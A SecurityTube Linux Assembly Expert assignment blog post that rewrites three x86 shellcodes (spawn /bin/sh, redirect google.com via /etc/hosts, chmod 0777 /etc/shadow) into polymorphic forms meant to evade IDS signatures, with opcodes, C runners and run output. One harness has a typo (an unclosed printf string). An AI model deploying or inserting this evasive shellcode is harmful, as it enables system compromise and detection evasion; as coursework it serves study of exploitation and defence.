SLAE #6: Polymorphic Shellcode

Assignment 7 of the SLAE series consists in writing polymorphic versions of three shellcode samples from shell-storm.org. Before doing that, let’s take a look at what is polymorphism and why it matters.

Simple shellcode is easy to fingerprint. You just need to do some basic pattern matching and build a database of known attack signatures. For example, most shellcodes that do an execve call to execute /bin/sh will have certain patterns that can be searched for, regardless of the differences in the rest of the code.

An IDS monitoring network traffic can detect and deny packets containing known signatures that don’t look like regular traffic on that port. e.g: it’s not common for an SMTP packet to contain a gigantic NOP-sled and the /bin/sh string.

One could think that a solution to this problem is to use custom encoding schemes as described in assignment 4. However, the decoder stub is prone to being fingerprinted as well, so it doesn’t always help.

Polymorphism is a method to defeat pattern matching. The idea is to make the shellcode look different but keep the intended functionality intact. To do this, we can use semantically equivalent instructions that preserve the functionality but make the resulting code have a different appearance.

Ideally, we would be able to create shellcode that looks different every time we want to use it. There are polymorphic engines to that end, such as ADMutate and CLET.

For the purpose of this assignment, we’ll work on creating only one polymorphic version of each selected shellcode.

There are several things that can be done to achieve this. Some examples are:

  • Add garbage instructions that don’t change the functionality (NOP equivalents).
  • Use different / random registers.
  • Rearrange instructions randomly when possible. Switch code around if the registers do not depend on each other.
  • Operate on esp directly instead of using push / pop instructions.
  • Avoid writing well known hex encoded strings.
  • Use less known / more obscure instructions.

The guidelines for this assignment state that the resulting code cannot be larger than 1.5 times the original size.

The first shellcode from shell-storm.org will be a simple execve shell-spawning shellcode.

/*
Title:  Linux x86 execve("/bin/sh") - 28 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web:    http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80
*/

#include <stdio.h>
#include <strlen.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Let’s make sure it works first.

maxi@ubuntu:~$ gcc -o shellcode shellcode.c -z execstack
maxi@ubuntu:~$ ./shellcode 
Lenght: 28
$ 

The polymorphic version I came up with is 40 bytes long, which is 2 bytes under the limit for the assignment.

The main differences are:

  • Mask the /bin/sh string by doing arithmetic operations instead of pushing the hex values into the stack directly.
  • Use different registers than the original code where possible.
  • Reorder instructions. Don’t initialize the registers in the same order before calling execve.
  • Introduce some unnecessary steps. e.g: push byte 0x1; pop esi; xchg esi,eax instead of popping to eax after the first int 0x80 instruction is executed.
global _start           

section .text

_start:
    xor edx, edx    
    push edx
    mov eax, 0x563ED8B7
    add eax, 0x12345678
    push eax
    mov eax, 0xDEADC0DE
    sub eax, 0x70445EAF
    push eax
    push byte 0xb
    pop eax
    mov ecx, edx
    mov ebx, esp
    push byte 0x1
    pop esi
    int 0x80
    xchg esi, eax
    int 0x80

Let’s put the opcodes side to side to double check that they do indeed look different.

char original[] =  "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

char poly[]     =  "\x31\xd2\x52\xb8\xb7\xd8\x3e"
                   "\x56\x05\x78\x56\x34\x12\x50"
                   "\xb8\xde\xc0\xad\xde\x2d\xaf"
                   "\x5e\x44\x70\x50\x6a\x0b\x58"
                   "\x89\xd1\x89\xe3\x6a\x01\x5e"
                   "\xcd\x80\x96\xcd\x80";

The second shellcode from shell-storm.org will be this one. It adds an entry to the /etc/hosts file so google.com resolves to 127.1.1.1.

;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1 
;author Javier Tejedor
;date 24/09/2014

global _start

section .text

_start:
    xor ecx, ecx
    mul ecx
    mov al, 0x5     
    push ecx
    push 0x7374736f ;/etc///hosts
    push 0x682f2f2f
    push 0x6374652f
    mov ebx, esp
    mov cx, 0x401   ;permissions
    int 0x80        ;syscall to open file

    xchg eax, ebx
    push 0x4
    pop eax
    jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    pop ecx
    push 20         ;length of the string
    pop edx
    int 0x80        ;syscall to write in the file

    push 0x6
    pop eax
    int 0x80        ;syscall to close the file

    push 0x1
    pop eax
    int 0x80        ;syscall to exit

_load_data:
    call _write
    google db "127.1.1.1 google.com"

My polymorphic version is 98 bytes long, which is a 27% increase from the original shellcode.

global _start

section .text

_start:
    push byte 0x4
    pop eax
    inc eax
    sub edx, edx
    push edx
    mov ecx, 0x88998899
    sub ecx, 0x1525152A
    push ecx
    sub ecx, 0x0B454440
    push ecx
    sub ecx, 0x04BACA01
    inc ecx
    push ecx
    sub ecx, 0x6374612E
    mov ebx, esp
    int 0x80
    xchg eax, ebx
    jmp short _load_data

_write:
    pop eax
    xchg eax, ecx
    push byte 0x3
    pop esi
    mov eax, esi
    inc eax
    push len
    pop edx
    int 0x80
    inc esi
    inc esi
    inc esi
    xchg eax, esi
    int 0x80
    inc eax
    int 0x80

_load_data:
    call _write
    google: db "127.1.1.1 google.com"
    len: equ $-google

_random:
    cld
    xor esi,esi
    cld

Let’s review the changes applied to the original shellcode.

  • Change the header. Don’t do xor ecx,ecx.
  • Don’t load the syscall identifiers directly, but push/pop into eax and then increment or decrement as needed.
  • Use different registers. Introduce esi and change the way in which edx is zeroed out.
  • Exploit the fact that 0x7374736f > 0x682f2f2f > 0x6374652f. We start with a larger value (0x88998899), then subtract and push as needed. Since we are using ecx to do the arithmetic operations, the final sub instruction makes sure ecx is set to 0x401, which corresponds to the desired permissions value.
  • eax will be set to 0 if the close syscall is successful, so we can just inc eax to call exit.
  • Add garbage instructions after the string is defined to modify the end of the shellcode.
#include <stdio.h>
#include <string.h>

unsigned char code[] =
"\x6a\x04\x58\x40\x29\xd2\x52\xb9\x99\x88\x99\x88\x81\xe9\x2a\x15\x25\x15"
"\x51\x81\xe9\x40\x44\x45\x0b\x51\x81\xe9\x01\xca\xba\x04\x41\x51\x81\xe9"
"\x2e\x61\x74\x63\x89\xe3\xcd\x80\x93\xeb\x16\x58\x91\x6a\x03\x5e\x89\xf0"
"\x40\x6a\x14\x5a\xcd\x80\x46\x46\x46\x96\xcd\x80\x40\xcd\x80\xe8\xe5\xff"
"\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65"
"\x2e\x63\x6f\x6d\xfc\x31\xf6\xfc";

int main() {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Let’s compile and run the shellcode.

$ gcc -o shellcode shellcode.c -z execstack
$ sudo -s
# ./shellcode
# tail -1 /etc/hosts
127.1.1.1 google.com 

The last shellcode executes chmod 0777 /etc/shadow. It can be obtained from here.

*****************************************************
* Linux/x86 execve-chmod 0777 /etc/shadow  57 bytes *
*****************************************************
* Author: Hamza Megahed                             *
*****************************************************
* Twitter: @Hamza_Mega                              *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com             *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com        *
*****************************************************

xor    %eax,%eax
push   %eax
pushl  $0x776f6461
pushl  $0x68732f2f
pushl  $0x6374652f
movl   %esp,%esi
push   %eax
pushl  $0x37373730
movl   %esp,%ebp
push   %eax
pushl  $0x646f6d68
pushl  $0x632f6e69
pushl  $0x622f2f2f
mov    %esp,%ebx
pushl  %eax
pushl  %esi
pushl  %ebp
pushl  %ebx
movl   %esp,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80

As a first step, we can decode the hex values in the push instructions to understand what the code is doing.

>>> "776f646168732f2f6374652f".decode("hex")
'wodahs//cte/'
>>> "37373730".decode("hex")
'7770'
>>> "646f6d68632f6e69622f2f2f".decode("hex")
'domhc/nib///'

We know that 0xb is the identifier for execve, so the code is using execve to execute /bin/chmod 0777 /etc/shadow. The extra slashes are added so the length is multiple of 4 bytes.

Let’s follow the steps we did to convert the previous shellcodes, but add some jumps in between to alter the flow. The size limit for this shellcode is 85 bytes.

global _start           

section .text

_start:
    sub edx, edx
    push edx
    mov eax, 0xb33fb33f
    sub eax, 0x3bd04ede
    push eax
    jmp short two

end:
    int 0x80

four:
    push edx
    push esi
    push ebp
    push ebx
    mov ecx, esp
    push byte 0xc
    pop eax
    dec eax
    jmp short end

three:
    push edx
    sub eax, 0x2c3d2dff
    push eax
    mov ebp, esp
    push edx
    add eax, 0x2d383638
    push eax
    sub eax, 0x013ffeff
    push eax
    sub eax, 0x3217d6d2
    add eax, 0x31179798
    push eax
    mov ebx, esp
    jmp short four

two:
    sub eax, 0x0efc3532
    push eax
    sub eax, 0x04feca01
    inc eax
    push eax
    mov esi, esp
    jmp short three

The resulting shellcode is 84 bytes long. The reordering and jumps create a very different appearance.

#include <stdio.h>
#include <string.h>

unsigned char code[] =
"\x29\xd2\x52\xb8\x3f\xb3\x3f\xb3\x2d\xde\x4e\xd0\x3b\x50\xeb\x33\xcd\x80"
"\x52\x56\x55\x53\x89\xe1\x6a\x0c\x58\x48\xeb\xf2\x52\x2d\xff\x2d\x3d\x2c"
"\x50\x89\xe5\x52\x05\x38\x36\x38\x2d\x50\x2d\xff\xfe\x3f\x01\x50\x2d\xd2"
"\xd6\x17\x32\x05\x98\x97\x17\x31\x50\x89\xe3\xeb\xcf\x2d\x32\x35\xfc\x0e"
"\x50\x2d\x01\xca\xfe\x04\x40\x50\x89\xe6\xeb\xca";


int main() {
    printf("Shellcode Length:  %d\n, strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Let’s compile and run it to verify that it works.

$ gcc -o shellcode shellcode.c -z execstack
$ sudo -s
# ls -l /etc/shadow
-rw-r—— 1 root shadow 1062 Mar  4 16:57 /etc/shadow
# ./shellcode 
Shellcode Length:  84
# ls -l /etc/shadow
-rwxrwxrwx 1 root shadow 1062 Mar  4 16:57 /etc/shadow

Cool additional resources:

You can find the code for this assignment on my Github repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-­651

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s